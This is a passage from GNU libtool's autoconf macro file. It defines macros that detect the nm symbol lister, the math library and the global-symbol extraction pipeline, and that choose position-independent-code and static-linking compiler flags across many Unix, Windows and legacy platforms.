lt_cv_path_NM="$NM" else lt_nm_to_check="${ac_tool_prefix}nm" if test -n "$ac_tool_prefix" && test "$build" = "$host"; then lt_nm_to_check="$lt_nm_to_check nm" fi for lt_tmp_nm in $lt_nm_to_check; do lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR for ac_dir in $PATH /usr/ccs/bin/elf /usr/ccs/bin /usr/ucb /bin; do IFS="$lt_save_ifs" test -z "$ac_dir" && ac_dir=. tmp_nm="$ac_dir/$lt_tmp_nm" if test -f "$tmp_nm" || test -f "$tmp_nm$ac_exeext" ; then # Check to see if the nm accepts a BSD-compat flag. # Adding the `sed 1q' prevents false positives on HP-UX, which says: # nm: unknown option "B" ignored # Tru64's nm complains that /dev/null is an invalid object file case `"$tmp_nm" -B /dev/null 2>&1 | sed '1q'` in */dev/null* | *'Invalid file or object type'*) lt_cv_path_NM="$tmp_nm -B" break ;; *) case `"$tmp_nm" -p /dev/null 2>&1 | sed '1q'` in */dev/null*) lt_cv_path_NM="$tmp_nm -p" break ;; *) lt_cv_path_NM=${lt_cv_path_NM="$tmp_nm"} # keep the first match, but continue # so that we can try to find one that supports BSD flags ;; esac ;; esac fi done IFS="$lt_save_ifs" done : ${lt_cv_path_NM=no} fi]) if test "$lt_cv_path_NM" != "no"; then NM="$lt_cv_path_NM" else # Didn't find any BSD compatible name lister, look for dumpbin. AC_CHECK_TOOLS(DUMPBIN, ["dumpbin -symbols" "link -dump -symbols"], :) AC_SUBST([DUMPBIN]) if test "$DUMPBIN" != ":"; then NM="$DUMPBIN" fi fi test -z "$NM" && NM=nm AC_SUBST([NM]) _LT_DECL([], [NM], [1], [A BSD- or MS-compatible name lister])dnl AC_CACHE_CHECK([the name lister ($NM) interface], [lt_cv_nm_interface], [lt_cv_nm_interface="BSD nm" echo "int some_variable = 0;" > conftest.$ac_ext (eval echo "\"\$as_me:__oline__: $ac_compile\"" >&AS_MESSAGE_LOG_FD) (eval "$ac_compile" 2>conftest.err) cat conftest.err >&AS_MESSAGE_LOG_FD (eval echo "\"\$as_me:__oline__: $NM \\\"conftest.$ac_objext\\\"\"" >&AS_MESSAGE_LOG_FD) (eval "$NM \"conftest.$ac_objext\"" 2>conftest.err > conftest.out) cat conftest.err >&AS_MESSAGE_LOG_FD (eval echo "\"\$as_me:__oline__: output\"" >&AS_MESSAGE_LOG_FD) cat conftest.out >&AS_MESSAGE_LOG_FD if $GREP 'External.*some_variable' conftest.out > /dev/null; then lt_cv_nm_interface="MS dumpbin" fi rm -f conftest*]) ])# LT_PATH_NM # Old names: AU_ALIAS([AM_PROG_NM], [LT_PATH_NM]) AU_ALIAS([AC_PROG_NM], [LT_PATH_NM]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AM_PROG_NM], []) dnl AC_DEFUN([AC_PROG_NM], []) # LT_LIB_M # -------- # check for math library AC_DEFUN([LT_LIB_M], [AC_REQUIRE([AC_CANONICAL_HOST])dnl LIBM= case $host in *-*-beos* | *-*-cygwin* | *-*-pw32* | *-*-darwin*) # These system don't have libm, or don't need it ;; *-ncr-sysv4.3*) AC_CHECK_LIB(mw, _mwvalidcheckl, LIBM="-lmw") AC_CHECK_LIB(m, cos, LIBM="$LIBM -lm") ;; *) AC_CHECK_LIB(m, cos, LIBM="-lm") ;; esac AC_SUBST([LIBM]) ])# LT_LIB_M # Old name: AU_ALIAS([AC_CHECK_LIBM], [LT_LIB_M]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AC_CHECK_LIBM], []) # _LT_COMPILER_NO_RTTI([TAGNAME]) # ------------------------------- m4_defun([_LT_COMPILER_NO_RTTI], [m4_require([_LT_TAG_COMPILER])dnl _LT_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)= if test "$GCC" = yes; then _LT_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)=' -fno-builtin' _LT_COMPILER_OPTION([if $compiler supports -fno-rtti -fno-exceptions], lt_cv_prog_compiler_rtti_exceptions, [-fno-rtti -fno-exceptions], [], [_LT_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)="$_LT_TAGVAR(lt_prog_compiler_no_builtin_flag, $1) -fno-rtti -fno-exceptions"]) fi _LT_TAGDECL([no_builtin_flag], [lt_prog_compiler_no_builtin_flag], [1], [Compiler flag to turn off builtin functions]) ])# _LT_COMPILER_NO_RTTI # _LT_CMD_GLOBAL_SYMBOLS # ---------------------- m4_defun([_LT_CMD_GLOBAL_SYMBOLS], [AC_REQUIRE([AC_CANONICAL_HOST])dnl AC_REQUIRE([AC_PROG_CC])dnl AC_REQUIRE([LT_PATH_NM])dnl AC_REQUIRE([LT_PATH_LD])dnl m4_require([_LT_DECL_SED])dnl m4_require([_LT_DECL_EGREP])dnl m4_require([_LT_TAG_COMPILER])dnl # Check for command to grab the raw symbol name followed by C symbol from nm. AC_MSG_CHECKING([command to parse $NM output from $compiler object]) AC_CACHE_VAL([lt_cv_sys_global_symbol_pipe], [ # These are sane defaults that work on at least a few old systems. # [They come from Ultrix. What could be older than Ultrix?!! ;)] # Character class describing NM global symbol codes. symcode='[[BCDEGRST]]' # Regexp to match symbols that can be accessed directly from C. sympat='\([[_A-Za-z]][[_A-Za-z0-9]]*\)' # Define system-specific variables. case $host_os in aix*) symcode='[[BCDT]]' ;; cygwin* | mingw* | pw32* | cegcc*) symcode='[[ABCDGISTW]]' ;; hpux*) if test "$host_cpu" = ia64; then symcode='[[ABCDEGRST]]' fi ;; irix* | nonstopux*) symcode='[[BCDEGRST]]' ;; osf*) symcode='[[BCDEGQRST]]' ;; solaris*) symcode='[[BDRT]]' ;; sco3.2v5*) symcode='[[DT]]' ;; sysv4.2uw2*) symcode='[[DT]]' ;; sysv5* | sco5v6* | unixware* | OpenUNIX*) symcode='[[ABDT]]' ;; sysv4) symcode='[[DFNSTU]]' ;; esac # If we're using GNU nm, then use its standard symbol codes. case `$NM -V 2>&1` in *GNU* | *'with BFD'*) symcode='[[ABCDGIRSTW]]' ;; esac # Transform an extracted symbol line into a proper C declaration. # Some systems (esp. on ia64) link data and code symbols differently, # so use this general approach. lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'" # Transform an extracted symbol line into symbol name and symbol address lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([[^ ]]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([[^ ]]*\) \([[^ ]]*\)$/ {\"\2\", (void *) \&\2},/p'" lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([[^ ]]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([[^ ]]*\) \(lib[[^ ]]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([[^ ]]*\) \([[^ ]]*\)$/ {\"lib\2\", (void *) \&\2},/p'" # Handle CRLF in mingw tool chain opt_cr= case $build_os in mingw*) opt_cr=`$ECHO 'x\{0,1\}' | tr x '\015'` # option cr in regexp ;; esac # Try without a prefix underscore, then with it. for ac_symprfx in "" "_"; do # Transform symcode, sympat, and symprfx into a raw symbol and a C symbol. symxfrm="\\1 $ac_symprfx\\2 \\2" # Write the raw and C identifiers. if test "$lt_cv_nm_interface" = "MS dumpbin"; then # Fake it for dumpbin and say T for any non-static function # and D for any global variable. # Also find C++ and __fastcall symbols from MSVC++, # which start with @ or ?. lt_cv_sys_global_symbol_pipe="$AWK ['"\ " {last_section=section; section=\$ 3};"\ " /Section length .*#relocs.*(pick any)/{hide[last_section]=1};"\ " \$ 0!~/External *\|/{next};"\ " / 0+ UNDEF /{next}; / UNDEF \([^|]\)*()/{next};"\ " {if(hide[section]) next};"\ " {f=0}; \$ 0~/\(\).*\|/{f=1}; {printf f ? \"T \" : \"D \"};"\ " {split(\$ 0, a, /\||\r/); split(a[2], s)};"\ " s[1]~/^[@?]/{print s[1], s[1]; next};"\ " s[1]~prfx {split(s[1],t,\"@\"); print t[1], substr(t[1],length(prfx))}"\ " ' prfx=^$ac_symprfx]" else lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[[ ]]\($symcode$symcode*\)[[ ]][[ ]]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'" fi # Check to see that the pipe works correctly. pipe_works=no rm -f conftest* cat > conftest.$ac_ext <<_LT_EOF #ifdef __cplusplus extern "C" { #endif char nm_test_var; void nm_test_func(void); void nm_test_func(void){} #ifdef __cplusplus } #endif int main(){nm_test_var='a';nm_test_func();return(0);} _LT_EOF if AC_TRY_EVAL(ac_compile); then # Now try to grab the symbols. nlist=conftest.nm if AC_TRY_EVAL(NM conftest.$ac_objext \| $lt_cv_sys_global_symbol_pipe \> $nlist) && test -s "$nlist"; then # Try sorting and uniquifying the output. if sort "$nlist" | uniq > "$nlist"T; then mv -f "$nlist"T "$nlist" else rm -f "$nlist"T fi # Make sure that we snagged all the symbols we need. if $GREP ' nm_test_var$' "$nlist" >/dev/null; then if $GREP ' nm_test_func$' "$nlist" >/dev/null; then cat <<_LT_EOF > conftest.$ac_ext #ifdef __cplusplus extern "C" { #endif _LT_EOF # Now generate the symbol file. eval "$lt_cv_sys_global_symbol_to_cdecl"' < "$nlist" | $GREP -v main >> conftest.$ac_ext' cat <<_LT_EOF >> conftest.$ac_ext /* The mapping between symbol names and symbols. */ const struct { const char *name; void *address; } lt__PROGRAM__LTX_preloaded_symbols[[]] = { { "@PROGRAM@", (void *) 0 }, _LT_EOF $SED "s/^$symcode$symcode* \(.*\) \(.*\)$/ {\"\2\", (void *) \&\2},/" < "$nlist" | $GREP -v main >> conftest.$ac_ext cat <<\_LT_EOF >> conftest.$ac_ext {0, (void *) 0} }; /* This works around a problem in FreeBSD linker */ #ifdef FREEBSD_WORKAROUND static const void *lt_preloaded_setup() { return lt__PROGRAM__LTX_preloaded_symbols; } #endif #ifdef __cplusplus } #endif _LT_EOF # Now try linking the two files. mv conftest.$ac_objext conftstm.$ac_objext lt_save_LIBS="$LIBS" lt_save_CFLAGS="$CFLAGS" LIBS="conftstm.$ac_objext" CFLAGS="$CFLAGS$_LT_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)" if AC_TRY_EVAL(ac_link) && test -s conftest${ac_exeext}; then pipe_works=yes fi LIBS="$lt_save_LIBS" CFLAGS="$lt_save_CFLAGS" else echo "cannot find nm_test_func in $nlist" >&AS_MESSAGE_LOG_FD fi else echo "cannot find nm_test_var in $nlist" >&AS_MESSAGE_LOG_FD fi else echo "cannot run $lt_cv_sys_global_symbol_pipe" >&AS_MESSAGE_LOG_FD fi else echo "$progname: failed program was:" >&AS_MESSAGE_LOG_FD cat conftest.$ac_ext >&5 fi rm -rf conftest* conftst* # Do not use the global_symbol_pipe unless it works. if test "$pipe_works" = yes; then break else lt_cv_sys_global_symbol_pipe= fi done ]) if test -z "$lt_cv_sys_global_symbol_pipe"; then lt_cv_sys_global_symbol_to_cdecl= fi if test -z "$lt_cv_sys_global_symbol_pipe$lt_cv_sys_global_symbol_to_cdecl"; then AC_MSG_RESULT(failed) else AC_MSG_RESULT(ok) fi _LT_DECL([global_symbol_pipe], [lt_cv_sys_global_symbol_pipe], [1], [Take the output of nm and produce a listing of raw symbols and C names]) _LT_DECL([global_symbol_to_cdecl], [lt_cv_sys_global_symbol_to_cdecl], [1], [Transform the output of nm in a proper C declaration]) _LT_DECL([global_symbol_to_c_name_address], [lt_cv_sys_global_symbol_to_c_name_address], [1], [Transform the output of nm in a C name address pair]) _LT_DECL([global_symbol_to_c_name_address_lib_prefix], [lt_cv_sys_global_symbol_to_c_name_address_lib_prefix], [1], [Transform the output of nm in a C name address pair when lib prefix is needed]) ]) # _LT_CMD_GLOBAL_SYMBOLS # _LT_COMPILER_PIC([TAGNAME]) # --------------------------- m4_defun([_LT_COMPILER_PIC], [m4_require([_LT_TAG_COMPILER])dnl _LT_TAGVAR(lt_prog_compiler_wl, $1)= _LT_TAGVAR(lt_prog_compiler_pic, $1)= _LT_TAGVAR(lt_prog_compiler_static, $1)= AC_MSG_CHECKING([for $compiler option to produce PIC]) m4_if([$1], [CXX], [ # C++ specific cases for pic, static, wl, etc. if test "$GXX" = yes; then _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_static, $1)='-static' case $host_os in aix*) # All AIX code is PIC. if test "$host_cpu" = ia64; then # AIX 5 now supports IA64 processor _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' fi ;; amigaos*) case $host_cpu in powerpc) # see comment about AmigaOS4 .so support _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' ;; m68k) # FIXME: we need at least 68020 code to build shared libraries, but # adding the `-m68020' flag to GCC prevents building anything better, # like `-m68040'. _LT_TAGVAR(lt_prog_compiler_pic, $1)='-m68020 -resident32 -malways-restore-a4' ;; esac ;; beos* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*) # PIC is the default for these OSes. ;; mingw* | cygwin* | os2* | pw32* | cegcc*) # This hack is so that the source file can tell whether it is being # built for inclusion in a dll (and should export symbols for example). # Although the cygwin gcc ignores -fPIC, still need this for old-style # (--disable-auto-import) libraries m4_if([$1], [GCJ], [], [_LT_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT']) ;; darwin* | rhapsody*) # PIC is the default on this platform # Common symbols not allowed in MH_DYLIB files _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fno-common' ;; *djgpp*) # DJGPP does not support shared libraries at all _LT_TAGVAR(lt_prog_compiler_pic, $1)= ;; interix[[3-9]]*) # Interix 3.x gcc -fpic/-fPIC options generate broken code. # Instead, we relocate shared libraries at runtime. ;; sysv4*MP*) if test -d /usr/nec; then _LT_TAGVAR(lt_prog_compiler_pic, $1)=-Kconform_pic fi ;; hpux*) # PIC is the default for 64-bit PA HP-UX, but not for 32-bit # PA HP-UX. On IA64 HP-UX, PIC is the default but the pic flag # sets the default TLS model and affects inlining. case $host_cpu in hppa*64*) ;; *) _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' ;; esac ;; *qnx* | *nto*) # QNX uses GNU C++, but need to define -shared option too, otherwise # it will coredump. _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC -shared' ;; *) _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' ;; esac else case $host_os in aix[[4-9]]*) # All AIX code is PIC. if test "$host_cpu" = ia64; then # AIX 5 now supports IA64 processor _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' else _LT_TAGVAR(lt_prog_compiler_static, $1)='-bnso -bI:/lib/syscalls.exp' fi ;; chorus*) case $cc_basename in cxch68*) # Green Hills C++ Compiler # _LT_TAGVAR(lt_prog_compiler_static, $1)="--no_auto_instantiation -u __main -u __premain -u _abort -r $COOL_DIR/lib/libOrb.a $MVME_DIR/lib/CC/libC.a $MVME_DIR/lib/classix/libcx.s.a" ;; esac ;; dgux*) case $cc_basename in ec++*) _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' ;; ghcx*) # Green Hills C++ Compiler _LT_TAGVAR(lt_prog_compiler_pic, $1)='-pic' ;; *) ;; esac ;; freebsd* | dragonfly*) # FreeBSD uses GNU C++ ;; hpux9* | hpux10* | hpux11*) case $cc_basename in CC*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_static, $1)='${wl}-a ${wl}archive' if test "$host_cpu" != ia64; then _LT_TAGVAR(lt_prog_compiler_pic, $1)='+Z' fi ;; aCC*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_static, $1)='${wl}-a ${wl}archive' case $host_cpu in hppa*64*|ia64*) # +Z the default ;; *) _LT_TAGVAR(lt_prog_compiler_pic, $1)='+Z' ;; esac ;; *) ;; esac ;; interix*) # This is c89, which is MS Visual C++ (no shared libs) # Anyone wants to do a port? ;; irix5* | irix6* | nonstopux*) case $cc_basename in CC*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' # CC pic flag -KPIC is the default. ;; *) ;; esac ;; linux* | k*bsd*-gnu) case $cc_basename in KCC*) # KAI C++ Compiler _LT_TAGVAR(lt_prog_compiler_wl, $1)='--backend -Wl,' _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' ;; ecpc* ) # old Intel C++ for x86_64 which still supported -KPIC. _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' _LT_TAGVAR(lt_prog_compiler_static, $1)='-static' ;; icpc* ) # Intel C++, used to be incompatible with GCC. # ICC 10 doesn't accept -KPIC any more. _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' _LT_TAGVAR(lt_prog_compiler_static, $1)='-static' ;; pgCC* | pgcpp*) # Portland Group C++ compiler _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fpic' _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' ;; cxx*) # Compaq C++ # Make sure the PIC flag is empty. It appears that all Alpha # Linux and Compaq Tru64 Unix objects are PIC. _LT_TAGVAR(lt_prog_compiler_pic, $1)= _LT_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' ;; xlc* | xlC*) # IBM XL 8.0 on PPC _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_pic, $1)='-qpic' _LT_TAGVAR(lt_prog_compiler_static, $1)='-qstaticlink' ;; *) case `$CC -V 2>&1 | sed 5q` in *Sun\ C*) # Sun C++ 5.9 _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld ' ;; esac ;; esac ;; lynxos*) ;; m88k*) ;; mvs*) case $cc_basename in cxx*) _LT_TAGVAR(lt_prog_compiler_pic, $1)='-W c,exportall' ;; *) ;; esac ;; netbsd*) ;; *qnx* | *nto*) # QNX uses GNU C++, but need to define -shared option too, otherwise # it will coredump. _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC -shared' ;; osf3* | osf4* | osf5*) case $cc_basename in KCC*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='--backend -Wl,' ;; RCC*) # Rational C++ 2.4.1 _LT_TAGVAR(lt_prog_compiler_pic, $1)='-pic' ;; cxx*) # Digital/Compaq C++ _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' # Make sure the PIC flag is empty. It appears that all Alpha # Linux and Compaq Tru64 Unix objects are PIC. _LT_TAGVAR(lt_prog_compiler_pic, $1)= _LT_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' ;; *) ;; esac ;; psos*) ;; solaris*) case $cc_basename in CC*) # Sun C++ 4.2, 5.x and Centerline C++ _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld ' ;; gcx*) # Green Hills C++ Compiler _LT_TAGVAR(lt_prog_compiler_pic, $1)='-PIC' ;; *) ;; esac ;; sunos4*) case $cc_basename in CC*) # Sun C++ 4.x _LT_TAGVAR(lt_prog_compiler_pic, $1)='-pic' _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' ;; lcc*) # Lucid _LT_TAGVAR(lt_prog_compiler_pic, $1)='-pic' ;; *) ;; esac ;; sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*) case $cc_basename in CC*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' ;; esac ;; tandem*) case $cc_basename in NCC*) # NonStop-UX NCC 3.20 _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' ;; *) ;; esac ;; vxworks*) ;; *) _LT_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no ;; esac fi ], [ if test "$GCC" = yes; then _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_static, $1)='-static' case $host_os in aix*) # All AIX code is PIC. if test "$host_cpu" = ia64; then # AIX 5 now supports IA64 processor _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' fi ;; amigaos*) case $host_cpu in powerpc) # see comment about AmigaOS4 .so support _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' ;; m68k) # FIXME: we need at least 68020 code to build shared libraries, but # adding the `-m68020' flag to GCC prevents building anything better, # like `-m68040'. _LT_TAGVAR(lt_prog_compiler_pic, $1)='-m68020 -resident32 -malways-restore-a4' ;; esac ;; beos* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*) # PIC is the default for these OSes. ;; mingw* | cygwin* | pw32* | os2* | cegcc*) # This hack is so that the source file can tell whether it is being # built for inclusion in a dll (and should export symbols for example). # Although the cygwin gcc ignores -fPIC, still need this for old-style # (--disable-auto-import) libraries m4_if([$1], [GCJ], [], [_LT_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT']) ;; darwin* | rhapsody*) # PIC is the default on this platform # Common symbols not allowed in MH_DYLIB files _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fno-common' ;; hpux*) # PIC is the default for 64-bit PA HP-UX, but not for 32-bit # PA HP-UX. On IA64 HP-UX, PIC is the default but the pic flag # sets the default TLS model and affects inlining. case $host_cpu in hppa*64*) # +Z the default ;; *) _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' ;; esac ;; interix[[3-9]]*) # Interix 3.x gcc -fpic/-fPIC options generate broken code. # Instead, we relocate shared libraries at runtime. ;; msdosdjgpp*) # Just because we use GCC doesn't mean we suddenly get shared libraries # on systems that don't support them. _LT_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no enable_shared=no ;; *nto* | *qnx*) # QNX uses GNU C++, but need to define -shared option too, otherwise # it will coredump. _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC -shared' ;; sysv4*MP*) if test -d /usr/nec; then _LT_TAGVAR(lt_prog_compiler_pic, $1)=-Kconform_pic fi ;; *) _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' ;; esac else # PORTME Check for flag to pass linker flags through the system compiler. case $host_os in aix*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' if test "$host_cpu" = ia64; then # AIX 5 now supports IA64 processor _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' else _LT_TAGVAR(lt_prog_compiler_static, $1)='-bnso -bI:/lib/syscalls.exp' fi ;; mingw* | cygwin* | pw32* | os2* | cegcc*) # This hack is so that the source file can tell whether it is being # built for inclusion in a dll (and should export symbols for example). m4_if([$1], [GCJ], [], [_LT_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT']) ;; hpux9* | hpux10* | hpux11*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but # not for PA HP-UX. case $host_cpu in hppa*64*|ia64*) # +Z the default ;; *) _LT_TAGVAR(lt_prog_compiler_pic, $1)='+Z' ;; esac # Is there a better lt_prog_compiler_static that works with the bundled CC? _LT_TAGVAR(lt_prog_compiler_static, $1)='${wl}-a ${wl}archive' ;; irix5* | irix6* | nonstopux*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' # PIC (with -KPIC) is the default. _LT_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' ;; linux* | k*bsd*-gnu) case $cc_basename in # old Intel for x86_64 which still supported -KPIC. ecc*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' _LT_TAGVAR(lt_prog_compiler_static, $1)='-static' ;; # icc used to be incompatible with GCC. # ICC 10 doesn't accept -KPIC any more. icc* | ifort*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' _LT_TAGVAR(lt_prog_compiler_static, $1)='-static' ;; # Lahey Fortran 8.1. lf95*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_pic, $1)='--shared' _LT_TAGVAR(lt_prog_compiler_static, $1)='--static' ;; pgcc* | pgf77* | pgf90* | pgf95*) # Portland Group compilers (*not* the Pentium gcc compiler, # which looks to be a dead project) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fpic' _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' ;; ccc*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' # All Alpha code is PIC. _LT_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' ;; xl*) # IBM XL C 8.0/Fortran 10.1 on PPC _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_pic, $1)='-qpic' _LT_TAGVAR(lt_prog_compiler_static, $1)='-qstaticlink' ;; *) case `$CC -V 2>&1 | sed 5q` in *Sun\ C*) # Sun C 5.9 _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' ;; *Sun\ F*) # Sun Fortran 8.3 passes all unrecognized flags to the linker _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' _LT_TAGVAR(lt_prog_compiler_wl, $1)='' ;; esac ;; esac ;; newsos6) _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' ;; *nto* | *qnx*) # QNX uses GNU C++, but need to define -shared option too, otherwise # it will coredump. _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC -shared' ;; osf3* | osf4* | osf5*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' # All OSF/1 code is PIC. _LT_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' ;; rdos*) _LT_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' ;; solaris*) _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' case $cc_basename in f77* | f90* | f95*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld ';; *) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,';; esac ;; sunos4*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld ' _LT_TAGVAR(lt_prog_compiler_pic, $1)='-PIC' _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' ;; sysv4 | sysv4.2uw2* | sysv4.3*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' ;; sysv4*MP*) if test -d /usr/nec ;then _LT_TAGVAR(lt_prog_compiler_pic, $1)='-Kconform_pic' _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' fi ;; sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' ;; unicos*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no ;; uts4*) _LT_TAGVAR(lt_prog_compiler_pic, $1)='-pic' _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' ;; *) _LT_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no ;; esac fi ]) case $host_os in # For platforms which do not support PIC, -DPIC is meaningless: *djgpp*) _LT_TAGVAR(lt_prog_compiler_pic, $1)= ;; *) _LT_TAGVAR(lt_prog_compiler_pic, $1)="$_LT_TAGVAR(lt_prog_compiler_pic, $1)@&t@m4_if([$1],[],[ -DPIC],[m4_if([$1],[CXX],[ -DPIC],[])])" ;; esac AC_MSG_RESULT([$_LT_TAGVAR(lt_prog_compiler_pic, $1)]) _LT_TAGDECL([wl], [lt_prog_compiler_wl], [1], [How to pass a linker flag through the compiler]) # # Check to make sure the PIC flag actually works. # if test -n "$_LT_TAGVAR(lt_prog_compiler_pic, $1)"; then _LT_COMPILER_OPTION([if $compiler PIC flag $_LT_TAGVAR(lt_prog_compiler_pic, $1) works], [_LT_TAGVAR(lt_cv_prog_compiler_pic_works, $1)], [$_LT_TAGVAR(lt_prog_compiler_pic, $1)@&t@m4_if([$1],[],[ -DPIC],[m4_if([$1],[CXX],[ -DPIC],[])])], [], [case $_LT_TAGVAR(lt_prog_compiler_pic, $1) in "" | " "*) ;; *) _LT_TAGVAR(lt_prog_compiler_pic, $1)=" $_LT_TAGVAR(lt_prog_compiler_pic, $1)" ;; esac], [_LT_TAGVAR(lt_prog_compiler_pic, $1)= _LT_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no]) fi _LT_TAGDECL([pic_flag], 